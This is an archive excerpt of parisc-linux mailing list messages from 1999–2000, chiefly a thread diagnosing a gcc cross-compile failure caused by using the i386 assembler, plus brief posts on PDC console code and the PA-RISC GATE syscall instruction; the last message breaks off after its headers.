Original-Received: (qmail 26119 invoked by uid 15267); 7 Sep 2000 18:49:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26099 invoked from network); 7 Sep 2000 18:49:47 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 7 Sep 2000 18:49:47 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id CF6971280
	for <parisc-linux@thepuffingroup.com>; Thu,  7 Sep 2000 11:49:46 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id LAA28084
	for parisc-linux@thepuffingroup.com; Thu, 7 Sep 2000 11:53:14 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7911

I see pdc_console_wait_key() has #if 0/#endif around the useful
part of the code. Any reason why?

Does (*PAGE0->mem_kbd.iodc_io)() deal with virtual/real mode?

I have the impression this can only be called while in real mode.

The debugger I'm working on "porting" wants pdc_console_wait_key().

thanks,
grant


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc build failure
Date: Fri, 8 Sep 2000 12:12:23 -0400 (EDT)
Lines: 169
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0009081208040.22259-100000@misty.cdf>
References: <200009071853.LAA28084@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619116 3468 80.91.229.3 (22 Nov 2014 01:18:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: apark@cdf.toronto.edu  Fri Sep  8 10:13:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA26748
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Sep 2000 10:13:04 -0600
Original-Received: (qmail 22972 invoked by uid 15267); 8 Sep 2000 16:13:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22950 invoked from network); 8 Sep 2000 16:13:22 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 8 Sep 2000 16:13:22 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 885763C06; Fri,  8 Sep 2000 12:12:23 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <200009071853.LAA28084@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7912

I get the following error message when trying to build gcc.
I've run the contrib/cvsupdate script to update the source as well.
Thanks for any help.


blue <12:17pm> </local/src/puffin/gcc-build> make
make[1]: Entering directory `/usr/local/src/puffin/gcc-build/libiberty'
make[2]: Entering directory `/usr/local/src/puffin/gcc-build/libiberty/testsuite'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/usr/local/src/puffin/gcc-build/libiberty/testsuite'
make[1]: Leaving directory `/usr/local/src/puffin/gcc-build/libiberty'
make[1]: Entering directory `/usr/local/src/puffin/gcc-build/texinfo'
make all-recursive
make[2]: Entering directory `/usr/local/src/puffin/gcc-build/texinfo'
Making all in intl
make[3]: Entering directory `/usr/local/src/puffin/gcc-build/texinfo/intl'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/usr/local/src/puffin/gcc-build/texinfo/intl'
Making all in lib
make[3]: Entering directory `/usr/local/src/puffin/gcc-build/texinfo/lib'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/usr/local/src/puffin/gcc-build/texinfo/lib'
Making all in makeinfo
make[3]: Entering directory `/usr/local/src/puffin/gcc-build/texinfo/makeinfo'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/usr/local/src/puffin/gcc-build/texinfo/makeinfo'
Making all in util
make[3]: Entering directory `/usr/local/src/puffin/gcc-build/texinfo/util'
make[3]: Nothing to be done for `all'.
make[3]: Leaving directory `/usr/local/src/puffin/gcc-build/texinfo/util'
make[2]: Leaving directory `/usr/local/src/puffin/gcc-build/texinfo'
make[1]: Leaving directory `/usr/local/src/puffin/gcc-build/texinfo'
make[1]: Entering directory `/usr/local/src/puffin/gcc-build/etc'
make[1]: Nothing to be done for `all'.
make[1]: Leaving directory `/usr/local/src/puffin/gcc-build/etc'
make[1]: Entering directory `/usr/local/src/puffin/gcc-build/gcc'
(cd intl && make all)
make[2]: Entering directory `/usr/local/src/puffin/gcc-build/gcc/intl'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/usr/local/src/puffin/gcc-build/gcc/intl'
make GCC_FOR_TARGET="/local/src/puffin/gcc-build/gcc/xgcc -B/local/src/puffin/gcc-build/gcc/ -B/junk/puffin/bin/hppa2.0-linux/bin/ -B/junk/puffin/bin/hppa2.0-linux/lib/ -isystem /junk/puffin/bin/hppa2.0-linux/include" \
  HOST_PREFIX="" HOST_PREFIX_1="loser-" \
  AR_FOR_TARGET="hppa2.0-linux-ar" \
  AR_CREATE_FOR_TARGET="hppa2.0-linux-ar  rc" \
  AR_FLAGS_FOR_TARGET="" \
  OLDCC="cc" CCLIBFLAGS="-O" CFLAGS="-g -O2" \
  RANLIB_FOR_TARGET="hppa2.0-linux-ranlib" \
  RANLIB_TEST_FOR_TARGET="[ -f hppa2.0-linux-ranlib ] || ( [ "i386-pc-linux-gnu" = "hppa2.0-unknown-linux-gnu" ] && [ -f /usr/bin/ranlib -o -f /bin/ranlib ] )" \
  LIBGCC2_CFLAGS="-O2  -DCROSS_COMPILE -DIN_GCC    `echo -g -O2|sed -e 's/-pedantic//g' -e 's/-Wtraditional//g'` -isystem ./include  -fPIC -g1  -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED " \
  INCLUDES="-I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include" MAYBE_USE_COLLECT2="" \
  CONFIG_H="" MACHMODE_H="machmode.h machmode.def" \
  LIB1ASMSRC='pa/lib1linux.asm' \
  -f libgcc.mk all
make[2]: Entering directory `/usr/local/src/puffin/gcc-build/gcc'
for d in libgcc; do \
  if [ -d $d ]; then true; else mkdir $d; fi \
done
if [ -f stmp-dirs ]; then true; else touch stmp-dirs; fi
/local/src/puffin/gcc-build/gcc/xgcc -B/local/src/puffin/gcc-build/gcc/ -B/junk/puffin/bin/hppa2.0-linux/bin/ -B/junk/puffin/bin/hppa2.0-linux/lib/ -isystem /junk/puffin/bin/hppa2.0-linux/include -O2  -DCROSS_COMPILE -DIN_GCC    -g -O2 -isystem ./include  -fPIC -g1  -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED  -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include -DL_divI -xassembler-with-cpp -c ../../gcc/gcc/config/pa/lib1linux.asm -o libgcc/./_divI.o
/tmp/ccfAaMYS.s: Assembler messages:
/tmp/ccfAaMYS.s:27: Error: Unknown pseudo-op:  `.export'
/tmp/ccfAaMYS.s:28: Error: ignoring unrecognized symbol type "millicode"
/tmp/ccfAaMYS.s:30: Error: Unknown pseudo-op:  `.proc'
/tmp/ccfAaMYS.s:31: Error: Unknown pseudo-op:  `.callinfo'
/tmp/ccfAaMYS.s:32: Error: Unknown pseudo-op:  `.entry'
/tmp/ccfAaMYS.s:33: Error: bad register name `%r26'
/tmp/ccfAaMYS.s:33: Error: Rest of line ignored. First ignored character is `!'.
/tmp/ccfAaMYS.s:34: Error: invalid character ',' in mnemonic
/tmp/ccfAaMYS.s:34: Error: Rest of line ignored. First ignored character is `!'.
/tmp/ccfAaMYS.s:35: Error: bad register name `%r0'
/tmp/ccfAaMYS.s:36: Error: invalid character ',' in mnemonic
/tmp/ccfAaMYS.s:37: Error: bad register name `%r0'
/tmp/ccfAaMYS.s:39: Error: invalid character ',' in mnemonic
/tmp/ccfAaMYS.s:40: Error: bad register name `%r0'
/tmp/ccfAaMYS.s:40: Error: Rest of line ignored. First ignored character is `!'.
/tmp/ccfAaMYS.s:41: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:42: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:43: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:44: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:45: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:46: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:47: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:48: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:49: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:50: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:51: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:52: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:53: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:54: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:55: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:56: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:57: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:58: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:59: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:60: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:61: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:62: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:63: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:64: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:65: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:66: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:67: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:68: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:69: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:70: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:71: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:72: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:73: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:74: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:75: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:76: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:77: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:78: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:79: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:80: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:81: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:82: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:83: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:84: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:85: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:86: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:87: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:88: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:89: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:90: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:91: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:92: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:93: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:94: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:95: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:96: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:97: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:98: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:99: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:100: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:101: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:102: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:103: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:104: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:105: Error: invalid character '%' in mnemonic
/tmp/ccfAaMYS.s:106: Error: no such 386 instruction: `addc %r26,%r26,%r26'
/tmp/ccfAaMYS.s:107: Error: invalid character ',' in mnemonic
/tmp/ccfAaMYS.s:108: Error: bad register name `%r1'
/tmp/ccfAaMYS.s:109: Error: invalid character ',' in mnemonic
/tmp/ccfAaMYS.s:109: Error: Rest of line ignored. First ignored character is `!'.
/tmp/ccfAaMYS.s:110: Error: bad register name `%r0'
/tmp/ccfAaMYS.s:111: Error: no such 386 instruction: `bv %r0(%r31)'
/tmp/ccfAaMYS.s:112: Error: no such 386 instruction: `copy %r26,%r29'
/tmp/ccfAaMYS.s:114: Error: invalid character ',' in mnemonic
/tmp/ccfAaMYS.s:115: Error: no such 386 instruction: `ldi 1,%r29'
/tmp/ccfAaMYS.s:116: Error: invalid character ',' in mnemonic
/tmp/ccfAaMYS.s:117: Error: Unknown pseudo-op:  `.exit'
/tmp/ccfAaMYS.s:118: Error: Unknown pseudo-op:  `.procend'
make[2]: *** [libgcc/./_divI.o] Error 1
make[2]: Leaving directory `/usr/local/src/puffin/gcc-build/gcc'
make[1]: *** [libgcc.a] Error 2
make[1]: Leaving directory `/usr/local/src/puffin/gcc-build/gcc'
make: *** [all-gcc] Error 2
blue <12:18pm> </local/src/puffin/gcc-build> 
 


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Sun, 28 Mar 1999 20:08:15 -0800 (PST)
Lines: 18
Approved: news@gmane.org
Message-ID: <199903290408.UAA29047@bart.allegro.com>
References: <Pine.LNX.3.96.990325205652.197B-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619117 3469 80.91.229.3 (22 Nov 2014 01:18:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:37 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: sieler@bart.allegro.com  Sun Mar 28 23:08:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id XAA17797
	for <hppa-linux@sod.res.cmu.edu>; Sun, 28 Mar 1999 23:08:36 -0500
Original-Received: (qmail 1240 invoked by uid 15267); 29 Mar 1999 04:07:08 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 1230 invoked from network); 29 Mar 1999 04:07:05 -0000
Original-Received: from unknown (HELO bart.allegro.com) (198.102.6.10)
  by mailserv2.iuinc.com with SMTP; 29 Mar 1999 04:07:05 -0000
Original-Received: (from sieler@localhost)
	by bart.allegro.com (8.9.1/8.9.1) id UAA29047
	for hppa-linux@thepuffingroup.com; Sun, 28 Mar 1999 20:08:15 -0800
In-Reply-To: <Pine.LNX.3.96.990325205652.197B-100000@quark.ix.netcom.com> from "Kumar" at Mar 25, 99 09:01:05 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:7913

Hi,

There may be a reason to avoid the GATE instruction...I've seen some
HP PA-RISC systems where GATE has given way to simply
marking the "gateway" page as non-executable, and relying on a trap
handler to detect the gateway access.  The final result is the same...
an architected method of doing a system call.  (I can only conjecture 
that there is a reason for this...but I don't know what it is.)

Perhaps we can get an HP person to comment?

> It does not matter as long as the gateway instruction is on the "special"
> page. Probably one wants to put a nop before the gateway instruction.

-- 
Stan Sieler                                          sieler@allegro.com
                                     http://www.allegro.com/sieler.html


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc build failure
Date: Fri, 08 Sep 2000 13:27:19 -0400
Organization: The Puffins at Linuxcare
Lines: 44
Approved: news@gmane.org
Message-ID: <39B92177.34B824C6@linuxcare.com>
References: <Pine.SOL.4.21.0009081208040.22259-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619117 3473 80.91.229.3 (22 Nov 2014 01:18:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Park <apark@cdf.toronto.edu>
Original-X-From: adevries@linuxcare.com  Fri Sep  8 11:23:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA27209
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Sep 2000 11:23:55 -0600
Original-Received: (qmail 13390 invoked by uid 15267); 8 Sep 2000 17:24:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13373 invoked from network); 8 Sep 2000 17:24:13 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 8 Sep 2000 17:24:13 -0000
Original-Received: (qmail 25139 invoked from network); 8 Sep 2000 17:24:12 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 8 Sep 2000 17:24:12 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7914

Andrew Park wrote:
> I get the following error message when trying to build gcc.
> I've run the contrib/cvsupdate script to update the source as well.

You're trying to use the i386 assembler!  You can fix this by first
building and installing the cross binutils, making sure that's in your
path, before you build gcc.

- Alex

> make GCC_FOR_TARGET="/local/src/puffin/gcc-build/gcc/xgcc -B/local/src/puffin/gcc-build/gcc/ -B/junk/puffin/bin/hppa2.0-linux/bin/ -B/junk/puffin/bin/hppa2.0-linux/lib/ -isystem /junk/puffin/bin/hppa2.0-linux/include" \
>   HOST_PREFIX="" HOST_PREFIX_1="loser-" \
>   AR_FOR_TARGET="hppa2.0-linux-ar" \
>   AR_CREATE_FOR_TARGET="hppa2.0-linux-ar  rc" \
>   AR_FLAGS_FOR_TARGET="" \
>   OLDCC="cc" CCLIBFLAGS="-O" CFLAGS="-g -O2" \
>   RANLIB_FOR_TARGET="hppa2.0-linux-ranlib" \
>   RANLIB_TEST_FOR_TARGET="[ -f hppa2.0-linux-ranlib ] || ( [ "i386-pc-linux-gnu" = "hppa2.0-unknown-linux-gnu" ] && [ -f /usr/bin/ranlib -o -f /bin/ranlib ] )" \
>   LIBGCC2_CFLAGS="-O2  -DCROSS_COMPILE -DIN_GCC    `echo -g -O2|sed -e 's/-pedantic//g' -e 's/-Wtraditional//g'` -isystem ./include  -fPIC -g1  -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED " \
>   INCLUDES="-I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include" MAYBE_USE_COLLECT2="" \
>   CONFIG_H="" MACHMODE_H="machmode.h machmode.def" \
>   LIB1ASMSRC='pa/lib1linux.asm' \
>   -f libgcc.mk all
> make[2]: Entering directory `/usr/local/src/puffin/gcc-build/gcc'
> for d in libgcc; do \
>   if [ -d $d ]; then true; else mkdir $d; fi \
> done
> if [ -f stmp-dirs ]; then true; else touch stmp-dirs; fi
> /local/src/puffin/gcc-build/gcc/xgcc -B/local/src/puffin/gcc-build/gcc/ -B/junk/puffin/bin/hppa2.0-linux/bin/ -B/junk/puffin/bin/hppa2.0-linux/lib/ -isystem /junk/puffin/bin/hppa2.0-linux/include -O2  -DCROSS_COMPILE -DIN_GCC    -g -O2 -isystem ./include  -fPIC -g1  -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED  -I. -I../../gcc/gcc -I../../gcc/gcc/config -I../../gcc/gcc/../include -DL_divI -xassembler-with-cpp -c ../../gcc/gcc/config/pa/lib1linux.asm -o libgcc/./_divI.o
> /tmp/ccfAaMYS.s: Assembler messages:
> /tmp/ccfAaMYS.s:27: Error: Unknown pseudo-op:  `.export'
> /tmp/ccfAaMYS.s:28: Error: ignoring unrecognized symbol type "millicode"
> /tmp/ccfAaMYS.s:30: Error: Unknown pseudo-op:  `.proc'
> /tmp/ccfAaMYS.s:31: Error: Unknown pseudo-op:  `.callinfo'
> /tmp/ccfAaMYS.s:32: Error: Unknown pseudo-op:  `.entry'
> /tmp/ccfAaMYS.s:33: Error: bad register name `%r26'

-- 
Alex deVries, Director of Professional Services, The Puffins at
Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:13:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc build failure
Date: Fri, 8 Sep 2000 14:23:28 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0009081420360.28273-100000@marvin.cdf>
References: <39B92177.34B824C6@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619117 3477 80.91.229.3 (22 Nov 2014 01:18:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: apark@cdf.toronto.edu  Fri Sep  8 12:23:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27605
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Sep 2000 12:23:26 -0600
Original-Received: (qmail 20434 invoked by uid 15267); 8 Sep 2000 18:23:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20427 invoked from network); 8 Sep 2000 18:23:29 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 8 Sep 2000 18:23:29 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 864C93C06; Fri,  8 Sep 2000 14:23:28 -0400 (EDT)
X-Sender: apark@marvin.cdf
In-Reply-To: <39B92177.34B824C6@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7915

On Fri, 8 Sep 2000, Alex deVries wrote:

> Andrew Park wrote:
> > I get the following error message when trying to build gcc.
> > I've run the contrib/cvsupdate script to update the source as well.
> 
> You're trying to use the i386 assembler!  You can fix this by first
> building and installing the cross binutils, making sure that's in your
> path, before you build gcc.
> 
> - Alex

Hmmm... my path is correct.  When cross built binutils I DID specify
--target=hppa2.0-linux, so I do not know how it could have built i386
binary instead.  Anyhow, thanks for the hint.  I'll rebuild and see
if that helps.


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc build failure
Date: Fri, 8 Sep 2000 14:32:26 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200009081832.OAA08108@hiauly1.hia.nrc.ca>
References: <Pine.SOL.4.21.0009081420360.28273-100000@marvin.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619118 3483 80.91.229.3 (22 Nov 2014 01:18:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:38 +0000 (UTC)
Cc: adevries@linuxcare.com, parisc-linux@thepuffingroup.com
To: apark@cdf.toronto.edu (Andrew Park)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Sep  8 12:32:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27820
	for <parisc-linux@puffin.external.hp.com>; Fri, 8 Sep 2000 12:32:23 -0600
Original-Received: (qmail 32160 invoked by uid 15267); 8 Sep 2000 18:32:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32148 invoked from network); 8 Sep 2000 18:32:41 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 8 Sep 2000 18:32:41 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA08108;
	Fri, 8 Sep 2000 14:32:27 -0400 (EDT)
In-Reply-To: <Pine.SOL.4.21.0009081420360.28273-100000@marvin.cdf> from "Andrew Park" at Sep 8, 2000 02:23:28 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7916

> On Fri, 8 Sep 2000, Alex deVries wrote:
> 
> > Andrew Park wrote:
> > > I get the following error message when trying to build gcc.
> > > I've run the contrib/cvsupdate script to update the source as well.
> > 
> > You're trying to use the i386 assembler!  You can fix this by first
> > building and installing the cross binutils, making sure that's in your
> > path, before you build gcc.
> > 
> > - Alex
> 
> Hmmm... my path is correct.  When cross built binutils I DID specify
> --target=hppa2.0-linux, so I do not know how it could have built i386
> binary instead.  Anyhow, thanks for the hint.  I'll rebuild and see
> if that helps.

Try `gcc -print-prog-name=as'.  This will show the full path of the
assembler.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Stickel <rstickel@mindspring.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug report
Date: Fri, 08 Sep 2000 18:54:38 +0000
Lines: 156
Approved: news@gmane.org
Message-ID: <39B935EE.EEEC23BE@mindspring.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619118 3486 80.91.229.3 (22 Nov 2014 01:18:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rstickel@mindspring.com  Fri Sep  8 12:54:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA28082
